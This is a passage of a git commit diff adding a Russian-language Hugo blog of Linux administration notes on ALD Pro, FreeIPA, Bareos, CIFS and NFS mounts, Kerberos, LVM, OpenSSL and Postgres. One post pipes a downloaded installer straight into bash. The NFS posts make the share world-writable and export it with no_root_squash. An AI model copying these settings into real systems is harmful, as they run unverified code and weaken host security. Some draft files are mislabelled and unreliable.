mirror of
https://github.com/fruworg/fruworg.github.io.git
synced 2024-11-16 09:27:17 +03:00
Committer: fruworg <im@fruw.org>
On branch main Your branch is up to date with 'origin/main'. Changes to be committed: new file: .gitmodules new file: archetypes/default.md new file: config.toml new file: content/posts/ald-pro.md new file: content/posts/astra-fly.md new file: content/posts/astra-freeipa.md new file: content/posts/bareos-install.md new file: content/posts/cifs-automount.md new file: content/posts/create-user-keytab.md new file: content/posts/create-user-keytab.md.save new file: content/posts/dhcp-resolv.md new file: content/posts/github-ssh-auth.md new file: content/posts/ip-command.md new file: content/posts/linux-krb5.md new file: content/posts/linux-network.md new file: content/posts/linux-nfs.md.save new file: content/posts/linux-packages-rebuild.md new file: content/posts/lvm-base-commands.md new file: content/posts/pfx-to-pem.md new file: content/posts/pg-probackup-setup.md.save new file: content/posts/pg-probackup-setup.md.save.1 new file: content/posts/postgres-drop-db.md new file: content/posts/postgres-krb5.md new file: content/posts/postgres-ldaps.md new file: content/posts/postgres-pro-astra-se.md new file: content/posts/postgres-replication.md new file: content/posts/postgres-simple-backup.md new file: content/posts/postgres-tls.md new file: content/posts/reverse-shell-nc.md new file: content/posts/run-nologin.md new file: content/posts/security-solutions.md new file: content/posts/selfsigned-to-trusted.md new file: content/posts/ssh-2fa-totp.md new file: content/posts/ssh-auth-by-key.md new file: content/posts/ssh-fail2ban.md new file: content/posts/vmware-clipboard.md new file: content/posts/vmware-restart-date.md new file: content/posts/windows-disable-shutdown.md new file: static/0x952C15AB751A65F6 new file: static/favicon.ico new file: static/fruworg.png new file: themes/archie Changes not staged for commit: modified: themes/archie (modified content)
This commit is contained in:
parent
f4f05d0ce3
commit
9c4706e826
3
.gitmodules
vendored
Normal file
3
.gitmodules
vendored
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
[submodule "themes/archie"]
|
||||||
|
path = themes/archie
|
||||||
|
url = https://github.com/athul/archie
|
6
archetypes/default.md
Normal file
6
archetypes/default.md
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
---
|
||||||
|
title: "{{ replace .Name "-" " " | title }}"
|
||||||
|
date: {{ .Date }}
|
||||||
|
draft: true
|
||||||
|
---
|
||||||
|
|
24
config.toml
Normal file
24
config.toml
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
baseURL = "http://fruw.org/"
|
||||||
|
anguageCode = "ru-RU"
|
||||||
|
title = "фрув.орг"
|
||||||
|
theme = "archie"
|
||||||
|
|
||||||
|
pygmentsstyle = "fruity"
|
||||||
|
pygmentscodefences = true
|
||||||
|
pygmentscodefencesguesssyntax = true
|
||||||
|
paginate=4 # articles per page
|
||||||
|
|
||||||
|
[params]
|
||||||
|
mode="dark" # color-mode → light,dark,toggle or auto
|
||||||
|
description="всем привет!"
|
||||||
|
#useCDN=false # don't use CDNs for fonts and icons, instead serve them locally.
|
||||||
|
|
||||||
|
[[menu.main]]
|
||||||
|
name = "Все посты"
|
||||||
|
url = "/posts"
|
||||||
|
weight = 1
|
||||||
|
|
||||||
|
[[menu.main]]
|
||||||
|
name = "Теги"
|
||||||
|
url = "/tags"
|
||||||
|
weight = 2
|
49
content/posts/ald-pro.md
Normal file
49
content/posts/ald-pro.md
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
---
|
||||||
|
title: Установка и конфигурация ALD Pro
|
||||||
|
description: Astra Linux Directory Pro
|
||||||
|
date: 2023-05-08T23:25:00+05:00
|
||||||
|
tags: [linux, astra, krb5]
|
||||||
|
---
|
||||||
|
## Создания сетевой видимости
|
||||||
|
|
||||||
|
```shell
|
||||||
|
<dc-ip> <dc-name>.<domain> <dc-name>
|
||||||
|
|
||||||
|
# /etc/hosts
|
||||||
|
```
|
||||||
|
|
||||||
|
## Смена хостнейма
|
||||||
|
```shell
|
||||||
|
hostnamectl set-hostname <dc-name>.<domain>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Добавление репозиториев ALD Pro
|
||||||
|
```shell
|
||||||
|
deb https://download.astralinux.ru/aldpro/stable/repository-main/ 1.0.0 main
|
||||||
|
deb https://download.astralinux.ru/aldpro/stable/repository-extended/ generic main
|
||||||
|
|
||||||
|
# /etc/apt/sources.list.d/aldpro.list
|
||||||
|
```
|
||||||
|
|
||||||
|
## Выставление приоритета репозиториев
|
||||||
|
```shell
|
||||||
|
Package: *
|
||||||
|
Pin: release n=generic
|
||||||
|
Pin-Priority: 900
|
||||||
|
|
||||||
|
# /etc/apt/preferences.d/aldpro
|
||||||
|
```
|
||||||
|
|
||||||
|
## Установка пакета
|
||||||
|
```shell
|
||||||
|
DEBIAN_FRONTEND=noninteractive apt-get install -q -y aldpro-mp
|
||||||
|
```
|
||||||
|
|
||||||
|
## Развёртывание
|
||||||
|
После того, как команда развёртывания отработает и сервер перезагрузитcя,
|
||||||
|
сервер ALD Pro будет доступен по адресу: https://\<dc-name\>.\<domain\>
|
||||||
|
|
||||||
|
```shell
|
||||||
|
/opt/rbta/aldpro/mp/bin/aldpro-server-install.sh \
|
||||||
|
-d <domain> -n <dc-name> -p <password> --ip <dc-ip>
|
||||||
|
```
|
27
content/posts/astra-fly.md
Normal file
27
content/posts/astra-fly.md
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
---
|
||||||
|
title: "Установка fly-dm (GUI) на Astra Linux"
|
||||||
|
date: 2023-04-04T12:35:00+05:00
|
||||||
|
description: Небольшая памятка
|
||||||
|
tags: [linux, astra]
|
||||||
|
---
|
||||||
|
## Установка пакета fly
|
||||||
|
```bash
|
||||||
|
apt install fly-all-main
|
||||||
|
```
|
||||||
|
|
||||||
|
## Загрузка ОС с GUI по-умолчанию
|
||||||
|
```bash
|
||||||
|
systemctl set-default graphical.target
|
||||||
|
```
|
||||||
|
|
||||||
|
## Примечание
|
||||||
|
|
||||||
|
### Посмотреть текущую конфигурацию загрузки
|
||||||
|
```bash
|
||||||
|
systemctl get-default
|
||||||
|
```
|
||||||
|
|
||||||
|
### Вернуть загрузку ОС с CLI
|
||||||
|
```bash
|
||||||
|
systemctl set-default multi-user.target
|
||||||
|
```
|
50
content/posts/astra-freeipa.md
Normal file
50
content/posts/astra-freeipa.md
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
---
|
||||||
|
title: Установка и конфигурация FreeIPA на Astra Linux
|
||||||
|
description: Сервер и клиент
|
||||||
|
date: 2023-03-25T01:08:00+05:00
|
||||||
|
tags: [linux, astra, krb5, freeipa]
|
||||||
|
---
|
||||||
|
## Общая настройка
|
||||||
|
|
||||||
|
### Создания сетевой видимости
|
||||||
|
|
||||||
|
```shell
|
||||||
|
<server-ip> <server-name>.<domain> <server-name>
|
||||||
|
<client-ip> <client-name>.<domain> <client-name>
|
||||||
|
|
||||||
|
# /etc/hosts
|
||||||
|
```
|
||||||
|
|
||||||
|
## Настройка cервера
|
||||||
|
|
||||||
|
### Смена хостнейма
|
||||||
|
```shell
|
||||||
|
hostnamectl set-hostname <server-name>.<domain>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Установка пакета
|
||||||
|
```shell
|
||||||
|
apt install fly-admin-freeipa-server -y
|
||||||
|
```
|
||||||
|
|
||||||
|
### Развёртывание
|
||||||
|
```shell
|
||||||
|
astra-freeipa-server -d <domain> -n <server-name> -px -ip <server-ip> -o --dogtag -y
|
||||||
|
```
|
||||||
|
|
||||||
|
## Настройка клиента
|
||||||
|
|
||||||
|
### Смена хостнейма
|
||||||
|
```shell
|
||||||
|
hostnamectl set-hostname <client-name>.<domain>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Установка пакета
|
||||||
|
```shell
|
||||||
|
apt install fly-admin-freeipa-client -y -px "--force"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Конфигурация клиента
|
||||||
|
``` shell
|
||||||
|
astra-freeipa-client -d <domain>
|
||||||
|
```
|
70
content/posts/bareos-install.md
Normal file
70
content/posts/bareos-install.md
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
---
|
||||||
|
title: Установка Bareos на Astra Linux SE
|
||||||
|
description: Инструкция по установке из репозитория Bareos
|
||||||
|
date: 2023-01-27T16:08:00+05:00
|
||||||
|
tags: [linux, postgres, bareos, apache]
|
||||||
|
---
|
||||||
|
## Конфигурация Сервера
|
||||||
|
|
||||||
|
### Установка Bareos и PostgreSQL
|
||||||
|
```shell
|
||||||
|
curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash
|
||||||
|
apt update
|
||||||
|
apt install postgresql bareos bareos-webui
|
||||||
|
```
|
||||||
|
|
||||||
|
### Конфигурация БД
|
||||||
|
```shell
|
||||||
|
dpkg-reconfigure bareos-database-common
|
||||||
|
```
|
||||||
|
|
||||||
|
### Включение сервисов Bareos, PostgreSQL и Apache
|
||||||
|
```shell
|
||||||
|
systemctl enable --now postgresql bareos-director bareos-filedaemon bareos-storage apache2
|
||||||
|
```
|
||||||
|
|
||||||
|
### Создание пользователя для Bareos-webui и конфига клиента
|
||||||
|
Веб Bareos'а находится по адресу: [http://\<bareos-ip\>/bareos-webui/](http://localhost/bareos-webui/)
|
||||||
|
```shell
|
||||||
|
bconsole
|
||||||
|
configure add console name=<web-user> password=<web-pass> profile=webui-admin tlsenable=no
|
||||||
|
configure add client name=<client-name> address=<client-ip> password=<client-pass>
|
||||||
|
reload
|
||||||
|
exit
|
||||||
|
```
|
||||||
|
|
||||||
|
### Бэкап определённой папки
|
||||||
|
```shell
|
||||||
|
FileSet {
|
||||||
|
Name = "<name>"
|
||||||
|
Description = "<description>"
|
||||||
|
Include {
|
||||||
|
Options {
|
||||||
|
Signature = MD5 # calculate md5 checksum per file
|
||||||
|
}
|
||||||
|
File = "<directory>"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# /etc/bareos/bareos-dir.d/fileset/<name>.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация клиента
|
||||||
|
|
||||||
|
### Установка Bareos Filedaemon
|
||||||
|
```shell
|
||||||
|
curl -s https://download.bareos.org/current/Debian_10/add_bareos_repositories.sh | bash
|
||||||
|
apt update
|
||||||
|
apt install bareos-filedaemon
|
||||||
|
```
|
||||||
|
|
||||||
|
### Перенос конфига с сервера на клиент
|
||||||
|
```shell
|
||||||
|
scp <user>@<server-ip>:/etc/bareos/bareos-dir-export/client\
|
||||||
|
/<client-name>/bareos-fd.d/director/bareos-dir.conf/etc/bareos/bareos-fd.d/director/
|
||||||
|
```
|
||||||
|
|
||||||
|
### Включение сервиса
|
||||||
|
```shell
|
||||||
|
systemctl enable --now bareos-filedaemon
|
||||||
|
```
|
42
content/posts/cifs-automount.md
Normal file
42
content/posts/cifs-automount.md
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
---
|
||||||
|
title: Автомонтирование сетевых дисков на Linux
|
||||||
|
description: CIFS/SMB
|
||||||
|
date: 2023-05-12T18:10:00+05:00
|
||||||
|
tags: [linux, krb5]
|
||||||
|
---
|
||||||
|
## Установка пакета
|
||||||
|
```shell
|
||||||
|
apt install cifs-utils -y
|
||||||
|
```
|
||||||
|
|
||||||
|
## Создание файла с данными УЗ
|
||||||
|
```shell
|
||||||
|
username=<username>
|
||||||
|
password=<password>
|
||||||
|
domain=<domain>
|
||||||
|
|
||||||
|
# /root/.smbuser
|
||||||
|
```
|
||||||
|
|
||||||
|
## Смена прав на файл с данными УЗ
|
||||||
|
```shell
|
||||||
|
sudo chmod 0400 /root/.smbuser
|
||||||
|
```
|
||||||
|
|
||||||
|
## Развёртывание
|
||||||
|
```shell
|
||||||
|
//<address> /<folder> cifs credentials=/root/.smbuser,uid=<uid>,gid=<gid> 0 0
|
||||||
|
|
||||||
|
# /etc/fstab
|
||||||
|
```
|
||||||
|
|
||||||
|
## Монтирование всех директорий
|
||||||
|
```shell
|
||||||
|
mount -a
|
||||||
|
```
|
||||||
|
|
||||||
|
## Монтирование ручками (необязательно)
|
||||||
|
```shell
|
||||||
|
mount -t cifs //<address> /<folder> -o \
|
||||||
|
username=<username>,password=<password>,domain=<domain>
|
||||||
|
```
|
44
content/posts/create-user-keytab.md
Normal file
44
content/posts/create-user-keytab.md
Normal file
@ -0,0 +1,44 @@
|
|||||||
|
---
|
||||||
|
title: Установка и конфигурация NFS-сервера на Linux
|
||||||
|
description: И его монтирование на клиентах
|
||||||
|
date: 2022-11-25T17:57:00+05:00
|
||||||
|
tags: [linux, nfs]
|
||||||
|
---
|
||||||
|
## Настройка NFS-сервера
|
||||||
|
|
||||||
|
### Установка пакета
|
||||||
|
```shell
|
||||||
|
apt -y install nfs-kernel-server
|
||||||
|
```
|
||||||
|
|
||||||
|
### Создание каталога, который будет расшарен
|
||||||
|
```shell
|
||||||
|
mkdir /nfs
|
||||||
|
chmod 777 /nfs
|
||||||
|
```
|
||||||
|
|
||||||
|
### Разрешение сетевого доступа
|
||||||
|
```shell
|
||||||
|
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
|
||||||
|
|
||||||
|
# /etc/exports
|
||||||
|
```
|
||||||
|
|
||||||
|
## Настройка NFS-клиента
|
||||||
|
|
||||||
|
### Установка пакета
|
||||||
|
```shell
|
||||||
|
apt -y install nfs-common
|
||||||
|
```
|
||||||
|
|
||||||
|
### Запуск службы
|
||||||
|
``` shell
|
||||||
|
systemctl enable --now rpcbind
|
||||||
|
```
|
||||||
|
|
||||||
|
### Автомонитрование
|
||||||
|
```shell
|
||||||
|
<server-ip>:/nfs /nfs nfs defaults 0 0
|
||||||
|
|
||||||
|
# /etc/fstab
|
||||||
|
```
|
44
content/posts/create-user-keytab.md.save
Normal file
44
content/posts/create-user-keytab.md.save
Normal file
@ -0,0 +1,44 @@
|
|||||||
|
---
|
||||||
|
title: Создание keytab файла для пользователя
|
||||||
|
description: В *nix системах
|
||||||
|
date: 2022-11-25T17:57:00+05:00
|
||||||
|
tags: [linux, krb5]
|
||||||
|
---
|
||||||
|
## Настройка NFS-сервера
|
||||||
|
|
||||||
|
### Установка пакета
|
||||||
|
```shell
|
||||||
|
apt -y install nfs-kernel-server
|
||||||
|
```
|
||||||
|
|
||||||
|
### Создание каталога, который будет расшарен
|
||||||
|
```shell
|
||||||
|
mkdir /nfs
|
||||||
|
chmod 777 /nfs
|
||||||
|
```
|
||||||
|
|
||||||
|
### Разрешение сетевого доступа
|
||||||
|
```shell
|
||||||
|
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
|
||||||
|
|
||||||
|
# /etc/exports
|
||||||
|
```
|
||||||
|
|
||||||
|
## Настройка NFS-клиента
|
||||||
|
|
||||||
|
### Установка пакета
|
||||||
|
```shell
|
||||||
|
apt -y install nfs-common
|
||||||
|
```
|
||||||
|
|
||||||
|
### Запуск службы
|
||||||
|
``` shell
|
||||||
|
systemctl enable --now rpcbind
|
||||||
|
```
|
||||||
|
|
||||||
|
### Автомонитрование
|
||||||
|
```shell
|
||||||
|
<server-ip>:/nfs /nfs nfs defaults 0 0
|
||||||
|
|
||||||
|
# /etc/fstab
|
||||||
|
```
|
19
content/posts/dhcp-resolv.md
Normal file
19
content/posts/dhcp-resolv.md
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
---
|
||||||
|
title: Принудительная запись в resolv.conf
|
||||||
|
description: При использовании DHCP
|
||||||
|
date: 2023-04-06T02:43:00+05:00
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
## Конфигурация клиента
|
||||||
|
Неприятно, когда конфиг не даёт поменять себя ручками, да?
|
||||||
|
|
||||||
|
```bash
|
||||||
|
supersede domain-name-servers <dns-1>, <dns-n>;
|
||||||
|
supersede domain-name "<domain.local>";
|
||||||
|
|
||||||
|
# /etc/dhcp/dhclient.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
systemctl restart networking
|
||||||
|
```
|
27
content/posts/github-ssh-auth.md
Normal file
27
content/posts/github-ssh-auth.md
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
---
|
||||||
|
title: Работа с репозиториями GitHub через терминал
|
||||||
|
description: Аутентификация с помощью ключа ssh
|
||||||
|
date: 2023-07-26T16:29:00+06:00
|
||||||
|
tags: [linux, git, ssh]
|
||||||
|
---
|
||||||
|
## Генерация ключа
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ssh-keygen -t ed25519 -C "<your>@<ema.il>"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Вывод публичного ключа
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat ~/.ssh/id_ed25519.pub
|
||||||
|
```
|
||||||
|
|
||||||
|
## Добавление ключа в GitHub
|
||||||
|
|
||||||
|
Необходимо зайти на GitHub в настройки своего аккаунта и перейти в раздел ["SSH and GPG keys"](https://github.com/settings/keys). Далее нужно нажать "New SSH key", вставить содержимое публичного ключа и сохранить изменения.
|
||||||
|
|
||||||
|
## Аутентификация в GitHub
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git remote set-url origin git@github.com:<username>/<reponame>.git
|
||||||
|
```
|
31
content/posts/ip-command.md
Normal file
31
content/posts/ip-command.md
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
---
|
||||||
|
title: "Памятка по команде ip"
|
||||||
|
date: 2022-11-25T19:17:00+05:00
|
||||||
|
description: Команда ip в Linux
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
## Показать все интерфейсы
|
||||||
|
```bash
|
||||||
|
ip a
|
||||||
|
ip l
|
||||||
|
```
|
||||||
|
|
||||||
|
## Показать информацию по конкретному интерфейсу
|
||||||
|
```bash
|
||||||
|
ip a show <interface>
|
||||||
|
ip l show <interface>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Изменить статус сетевого интерфейса
|
||||||
|
```bash
|
||||||
|
ip l set <interface> down
|
||||||
|
ip l set <interface> up
|
||||||
|
```
|
||||||
|
|
||||||
|
## Добавить или удалить адрес
|
||||||
|
```bash
|
||||||
|
ip a add <ip-address/mask> dev <interface>
|
||||||
|
ip a add brd <ip-address/mask> dev <interface>
|
||||||
|
ip a del <ip-address> dev <interface>
|
||||||
|
```
|
||||||
|
|
86
content/posts/linux-krb5.md
Normal file
86
content/posts/linux-krb5.md
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
---
|
||||||
|
title: Установка и конфигурация Kerberos на Linux
|
||||||
|
description: На сервере и клиенте
|
||||||
|
date: 2022-11-29T13:07:00+05:00
|
||||||
|
tags: [linux, krb5]
|
||||||
|
---
|
||||||
|
## Конфигурация сервера
|
||||||
|
|
||||||
|
### Установка пакетов
|
||||||
|
```shell
|
||||||
|
apt -y install krb5-kdc krb5-admin-server
|
||||||
|
```
|
||||||
|
|
||||||
|
## Конфигурация клиента
|
||||||
|
|
||||||
|
### Установка пакетов
|
||||||
|
```shell
|
||||||
|
apt -y install krb5-user libpam-krb5
|
||||||
|
```
|
||||||
|
|
||||||
|
## Общая конфигурация
|
||||||
|
На сервере и клиенте надо проделать следующие шаги:
|
||||||
|
|
||||||
|
### Смена hostname
|
||||||
|
```shell
|
||||||
|
hostnamectl set-hostname <hostname>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Правка файла hosts
|
||||||
|
Вместо правки файла hosts можно поднять DNS-сервер и сделать записи там.
|
||||||
|
```shell
|
||||||
|
<server-ip> <server-name.domain.name> <server-name>
|
||||||
|
<client-ip> <client-name.domain.name> <client-name>
|
||||||
|
|
||||||
|
# /etc/hosts
|
||||||
|
```
|
||||||
|
|
||||||
|
### Редактирование конфига Kerberos
|
||||||
|
```shell
|
||||||
|
[libdefaults]
|
||||||
|
default_realm = <DOMAIN.NAME>
|
||||||
|
|
||||||
|
[realms]
|
||||||
|
<DOMAIN.NAME> = {
|
||||||
|
kdc = <server-name.domain.name>
|
||||||
|
admin_server = <server-name.domain.name>
|
||||||
|
kpasswd_server = <server-name.domain.name>
|
||||||
|
default_domain = <DOMAIN.NAME>
|
||||||
|
}
|
||||||
|
|
||||||
|
[domain_realm]
|
||||||
|
<domain.name> = <DOMAIN.NAME>
|
||||||
|
.<domain.name> = <DOMAIN.NAME>
|
||||||
|
|
||||||
|
# /etc/krb5.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## Создание нового реалма (на сервере)
|
||||||
|
|
||||||
|
### Создание master key для БД krb5
|
||||||
|
```shell
|
||||||
|
krb5_newrealm
|
||||||
|
```
|
||||||
|
|
||||||
|
### Создание учётной записи администратора
|
||||||
|
```shell
|
||||||
|
kadmin.local
|
||||||
|
addprinc <admin-name>/admin
|
||||||
|
quit
|
||||||
|
```
|
||||||
|
|
||||||
|
### Разрешение административных прав
|
||||||
|
```shell
|
||||||
|
<admin-name>/admin
|
||||||
|
|
||||||
|
# /etc/krb5kdc/kadm5.acl
|
||||||
|
```
|
||||||
|
|
||||||
|
## Получение билета
|
||||||
|
```shell
|
||||||
|
kinit <admin-name>\admin
|
||||||
|
```
|
||||||
|
Проверяем наличие выданного билета:
|
||||||
|
```shell
|
||||||
|
klist
|
||||||
|
```
|
32
content/posts/linux-network.md
Normal file
32
content/posts/linux-network.md
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
---
|
||||||
|
title: "Настройка сети в Linux"
|
||||||
|
date: 2022-11-25T15:34:46+05:00
|
||||||
|
description: Путём правки конфигурационных файлов
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
## Настройка DNS и домена
|
||||||
|
```bash
|
||||||
|
search <domain>
|
||||||
|
nameserver <dns-server>
|
||||||
|
|
||||||
|
# /etc/resolv.conf
|
||||||
|
```
|
||||||
|
|
||||||
|
## Статика
|
||||||
|
```bash
|
||||||
|
auto <interface>
|
||||||
|
iface <interface> inet static
|
||||||
|
address <ip-address>
|
||||||
|
netmask <netmask>
|
||||||
|
gateway <gateway>
|
||||||
|
|
||||||
|
# /etc/network/interfaces.d/<interface>
|
||||||
|
```
|
||||||
|
|
||||||
|
## DHCP
|
||||||
|
```bash
|
||||||
|
auto <interface>
|
||||||
|
iface <interface> inet dhcp
|
||||||
|
|
||||||
|
# /etc/network/interfaces.d/<interface>
|
||||||
|
```
|
42
content/posts/linux-nfs.md.save
Normal file
42
content/posts/linux-nfs.md.save
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
---
|
||||||
|
title: Конфигурация NFS-сервера на Linux
|
||||||
|
description: И его монтирование на клиентах
|
||||||
|
date: 2022-11-25T85:08:00+05:00
|
||||||
|
tags: [vmware]
|
||||||
|
---
|
||||||
|
## Настройка NFS-сервера
|
||||||
|
|
||||||
|
### Установка пакета
|
||||||
|
```shell
|
||||||
|
apt install nfs-kernel-server
|
||||||
|
```
|
||||||
|
|
||||||
|
### Создание каталога, который будет расшарен
|
||||||
|
```shell
|
||||||
|
sudo mkdir /nfs
|
||||||
|
sudo chmod 777 /nfs
|
||||||
|
```
|
||||||
|
|
||||||
|
### Разрешаем сетевой доступ
|
||||||
|
```shell
|
||||||
|
/nfs <client-ip>(rw,sync,no_root_squash,no_subtree_check)
|
||||||
|
|
||||||
|
# /etc/exports
|
||||||
|
```
|
||||||
|
|
||||||
|
## Настройка NFS-клиента
|
||||||
|
|
||||||
|
### Установка пакета
|
||||||
|
```shell
|
||||||
|
apt install nfs-common
|
||||||
|
```
|
||||||
|
|
||||||
|
### Запуск службы
|
||||||
|
``` shell
|
||||||
|
systemctl enable --now rpcbind
|
||||||
|
```
|
||||||
|
|
||||||
|
### Автомонитрование
|
||||||
|
```shell
|
||||||
|
<server-ip>:/nfs /nfs nfs defaults 0 0
|
||||||
|
```
|
22
content/posts/linux-packages-rebuild.md
Normal file
22
content/posts/linux-packages-rebuild.md
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
---
|
||||||
|
title: Пересборка .deb пакетов
|
||||||
|
description: Список команд
|
||||||
|
date: 2023-01-24T22:58:00+05:00
|
||||||
|
tags: [linux]
|
||||||
|
---
|
||||||
|
## Распаковка пакета
|
||||||
|
|
||||||
|
### Распаковка данных
|
||||||
|
```shell
|
||||||
|
dpkg -x "<package>.deb" <folder>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Распаковка метаданных
|
||||||
|
```shell
|
||||||
|
dpkg -e "<package>.deb" <folder>/DEBIAN
|
||||||
|
```
|
||||||
|
|
||||||
|
## Сборка пакета
|
||||||
|
```shell
|
||||||
|
dpkg -b <folder> "<package>.deb"
|
||||||
|
```
|
31
content/posts/lvm-base-commands.md
Normal file
31
content/posts/lvm-base-commands.md
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
---
|
||||||
|
title: Памятка по LVM
|
||||||
|
description: Базовые команды
|
||||||
|
date: 2022-11-25T13:58:10+05:00
|
||||||
|
tags: [linux, lvm]
|
||||||
|
---
|
||||||
|
## Установка пакекта
|
||||||
|
```shell
|
||||||
|
apt -y install lvm2
|
||||||
|
```
|
||||||
|
|
||||||
|
## Создание
|
||||||
|
``` shell
|
||||||
|
pvcreate /dev/sda
|
||||||
|
vgcreate vg-name /dev/sda
|
||||||
|
lvcreate -L 10G -n lv-name vg-name
|
||||||
|
```
|
||||||
|
|
||||||
|
## Изменение
|
||||||
|
```shell
|
||||||
|
vgextend vg /dev/sdb
|
||||||
|
lvresize -rL +1G /dev/vg-name/lv-name
|
||||||
|
lvresize -rl +100%FREE /dev/vg-name/lv-name
|
||||||
|
```
|
||||||
|
|
||||||
|
## Просмотр
|
||||||
|
```shell
|
||||||
|
pvs
|
||||||
|
vgs
|
||||||
|
lvs
|
||||||
|
```
|
29
content/posts/pfx-to-pem.md
Normal file
29
content/posts/pfx-to-pem.md
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
title: Конвертация .pfx в .pem
|
||||||
|
description: Используя OpenSSL
|
||||||
|
date: 2023-04-12T11:45:00+05:00
|
||||||
|
tags: [linux, tls]
|
||||||
|
---
|
||||||
|
## Извлечение сертификата и ключа
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -in <tls>.pfx -out <tls>.pem -nodes
|
||||||
|
```
|
||||||
|
|
||||||
|
## Извлечение сертификата
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -in <tls>.pfx -clcerts -nokeys -out <cert>.pem
|
||||||
|
```
|
||||||
|
|
||||||
|
## Извлечение ключа
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl pkcs12 -in <tls>.pfx -nocerts -out <key>.tmp.pem
|
||||||
|
```
|
||||||
|
|
||||||
|
## Обеспароливание ключа
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl rsa -in <key>.tmp.pem -out <key>.pem
|
||||||
|
```
|
15
content/posts/pg-probackup-setup.md.save
Normal file
15
content/posts/pg-probackup-setup.md.save
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
title: pg_probackup
|
||||||
|
description: Backup Postgres Pro
|
||||||
|
date: 2022-12-14T12:04:00+05:00
|
||||||
|
tags: [linux, postgres]
|
||||||
|
---
|
||||||
|
## Генерируем ключ
|
||||||
|
```shell
|
||||||
|
ssh-keygen
|
||||||
|
```
|
||||||
|
|
||||||
|
## Копируем ключ
|
||||||
|
```shell
|
||||||
|
ssh-copy-id <username>@<server-ip>
|
||||||
|
```
|
15
content/posts/pg-probackup-setup.md.save.1
Normal file
15
content/posts/pg-probackup-setup.md.save.1
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
title: pg_probackup
|
||||||
|
description: убличного ключа
|
||||||
|
date: 2022-12-14T12:04:00+05:00
|
||||||
|
tags: [linux, ssh]
|
||||||
|
---
|
||||||
|
## Генерируем ключ
|
||||||
|
```shell
|
||||||
|
ssh-keygen
|
||||||
|
```
|
||||||
|
|
||||||
|
## Копируем ключ
|
||||||
|
```shell
|
||||||
|
ssh-copy-id <username>@<server-ip>
|
||||||
|
```
|
34
content/posts/postgres-drop-db.md
Normal file
34
content/posts/postgres-drop-db.md
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
---
|
||||||
|
title: Дроп БД форсированно в Postgres
|
||||||
|
description: На старой и новой версии
|
||||||
|
date: 2023-03-03T13:26:00+05:00
|
||||||
|
tags: [linux, postgres]
|
||||||
|
---
|
||||||
|
## На старой версии (<=12)
|
||||||
|
Заходим в консоль Postgres:
|
||||||
|
```shell
|
||||||
|
psql
|
||||||
|
```
|
||||||
|
|
||||||
|
Убиваем соединения с БД:
|
||||||
|
```shell
|
||||||
|
SELECT pg_terminate_backend (pid)
|
||||||
|
FROM pg_stat_activity
|
||||||
|
WHERE pg_stat_activity.datname = '<database_name>';
|
||||||
|
```
|
||||||
|
|
||||||
|
Дропаем БД:
|
||||||
|
```shell
|
||||||
|
DROP DATABASE <database_name>;
|
||||||
|
```
|
||||||
|
|
||||||
|
## На новой версии (>=13)
|
||||||
|
Заходим в консоль Postgres:
|
||||||
|
```shell
|
||||||
|
psql
|
||||||
|
```
|
||||||
|
|
||||||
|
Дропаем БД:
|
||||||
|
``` shell
|
||||||
|
DROP DATABASE <database_name> WITH (FORCE);
|
||||||
|
```
|
77
content/posts/postgres-krb5.md
Normal file
77
content/posts/postgres-krb5.md
Normal file
@ -0,0 +1,77 @@
|
|||||||
|
---
|
||||||
|
title: Аутентификация в Postgres Pro с помощью Kerberos
|
||||||
|
description: Используя протокол GSSAPI
|
||||||
|
date: 2022-11-29T16:21:00+05:00
|
||||||
|
tags: [linux, postgres, krb5]
|
||||||
|
---
|
||||||
|
## Установка Kerberos и Postgres Pro
|
||||||
|
Для начала, необходимо установить [Postgres Pro](//fruw.org/posts/postgres-pro-astra-se) и [Kerberos](//fruw.org/posts/linux-krb5).
|
||||||
|
На машину с Postgres Pro Kerberos устанавливается также, как и на клиента.
|
||||||
|
|
||||||
|
## Конфигурация сервера Kerberos
|
||||||
|
|
||||||
|
### Добавление принципиала Postgres Pro
|
||||||
|
```shell
|
||||||
|
kadmin.local
|
||||||
